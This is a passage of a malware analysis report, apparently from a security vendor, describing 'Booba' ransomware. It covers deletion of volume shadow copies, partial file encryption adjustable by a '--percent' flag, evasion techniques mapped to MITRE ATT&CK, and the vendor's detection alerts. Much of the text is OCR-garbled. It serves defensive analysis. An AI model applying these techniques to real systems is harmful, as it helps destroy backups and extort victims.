rax:L"\\Device\\HarddiskvolumeshadowCopy14™

rex:L"™oDevicey\HarddiskvolumeshadowCopy14™, 00007FFE973095

IOCTL_VOLSNAP_DELETE_SNAPSHOT

rex:L"™Voevicey\HarddiskvolumeshadowCopyl4™, rdi:zL™ 7

Encryption

Concurrent with the ransom note creation, the process initiates encryption of files, appending the extension “. booba” to
every affected file.
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| 1.doc.booba
| 2.docx.booba
| 3axls.booba
| 4xlsx.booba
| 3.jpg.booba

The ransomware’s default behavior encrypts only a part of each targeted file’s content at the beginning and end, leaving the
restintact:
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Figure 5- Partial file encryption

This behavior can be modified using the “--percent” parameter followed by a numerical value, which determines what
percentage of any targeted file will be encrypted.

Full Process Tree:

Process Command Life Time
% Booba.exe (4692) "C:\Users |} Desktop'Booba exe" —path=... -

MITRE ATT&CK Tactics and Techniques

Execution Stealth Discovery Impact
Native API Debugger Evasion Debugger Evasion Data Encrypted for Impact
Virtualization/Sandbox Evasion File and Directory Discovery Inhibit System Recovery

System Information Discovery

Virtualization/Sandbox Evasion
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CYErsS

Cynet vs Booba Ransomware

Note: During the execution simulation, Cynet’s unified cybersecurity platform is configured in detection mode (without
prevention) to allow Booba Ransomware to execute its full flow. This lets Cynet detect and log each step of the attack.

Cynet can detect and prevent this malware using multiple mechanisms:

File Dumped on the Disk
Cynet’s AV/Al engine detects that a malicious file was dumped on the disk or is attempting to run:

Detection Engine - Malicious Binary - Infected File - File
Dumped on the Disk

Severity Alert Type Last Seen tatu

HIGH ()| Malicious Binary 07/15/2026 12:34 r Open ~

CyAl Indicators Process Tree Notes

Cynet AV
Passed
C:\Users\ \Desktop\Booba.exe

Detection Engine
Sanity
Infected file

Whitalictar falea

Detection Engine - Malicious Binary - Infected File - Attempt
to Run

Severity Alert Type Last Seen Status

HIGH (| Malicious Binary 07/15/2026 10:46  Open ~

CyAl Indicators Process Tree Notes

Cynet AV

Passed
C:\Users) \Desktop\Booba.exe

Detection Engine

Sanity

Infected file
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Unauthorized File Operation Attempt

This mechanism detects attempts to modify Cynet’s Ransomware decoy files and the presence of abnormal extensions of
datafiles:

Unauthorized File Operation Attempt

Severity Alert Type Last Seen
CRITICAL )| File Alert 07/15/2026 08:44 { Open ~

Indicators Process Tree Notes

c\tools\die\infollibraries.txt.booba

Volume Type Fixed

Volume Attributes Boot|Physical

Thread Security Token Type Primary

Thread Security Token Integrity Level Value 12288

Thread Security Token Integrity Level String High

Thread user sid 5-1-5-21-2462143261-660407209-
3243961734-1001

Action Origin Type Local

ETW Alert Id IOF - Ransomware Abnormal Extension
Found - Suspicious Execution - TH

Unauthorized File Operation Attempt

Severity Alert Type Last Seen
CRITICAL ()| File Alert 07/15/2026 10:33

CyAl Indicators Process Tree Notes
Threa
Threa

Threa

ecurity Token Type Primary

d S
d Security Token Integrity Level Value 12288
d S

ecurity Token Integrity Level String High

Thread user sid S-1-5-21-2462143261-660407209-
3243961734-1001

Action Origin Type Local

ETW Alert Id IOF - Ransomware Activity Detected -

Decoy Files - Unsigned Processes - TH
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APPENDIX:
Risk Level
Medium High
TLP Protocol
Color When should it be used? How may it be shared?
TLP:RED Sources may use TLP:RED when information Recipients may not share TLP:RED information with any parties

Not for disclosure,
restricted to
participants only.

TLP:AMBER

Limited disclosure,
restricted to
participants’
organizations.

TLP:GREEN

Limited disclosure,
restricted to the
community.

TLP:WHITE

Disclosure is not limited.

cannot be effectively acted upon by
additional parties,

and could lead to impacts on a party’s
privacy, reputation, or operations if
misused.

Sources may use TLP:AMBER when
information requires supportto be
effectively acted upon, yet carries risks to
privacy, reputation, or operations if shared
outside of the organizations involved.

Sources may use TLP:GREEN when
information is useful for the awareness of
all participating organizations aswell as
with peers withinthe broader community
or sector.

Sources may use TLP:WHITE when
information carries minimal or no
foreseeable risk of misuse, in accordance
with applicable rules and procedures for
public release.

Contact Cynet CyOps

The Cynet CyOps is available 24x7 to clients for any issues,
questions or comments related to Cynet 360.

outside of the specific exchange, meeting, or conversationin
whichitwas originally disclosed. In the context of a meeting, for
example, TLP:RED information is limited tothose presentatthe
meeting. In most circumstances, TLP:RED should be
exchanged verbally or in person.

Recipients may only share TLP:AMBER information with members of
their own organization, and with clients or customers who need to
know the information to protectthemselves or prevent further
harm. Sources are at liberty to specify additionalintended
limits of the sharing: these must be adhered to.

Recipients may share TLP:GREEN information with peers and
partner organizations within their sector or community, but not
via publicly accessible channels. Informationin this category
can be circulated widely within a particular community.
TLP:GREEN information may not be released outside of the
community.

Subject to standard copyright rules, TLP:WHITE information
may be distributed without restriction.

For additional information, you may contact us directly

CyOps Mailbox
soc@cynet.com

+1 (347) 474-0048
+44 2032-909051
+972 72-3369736
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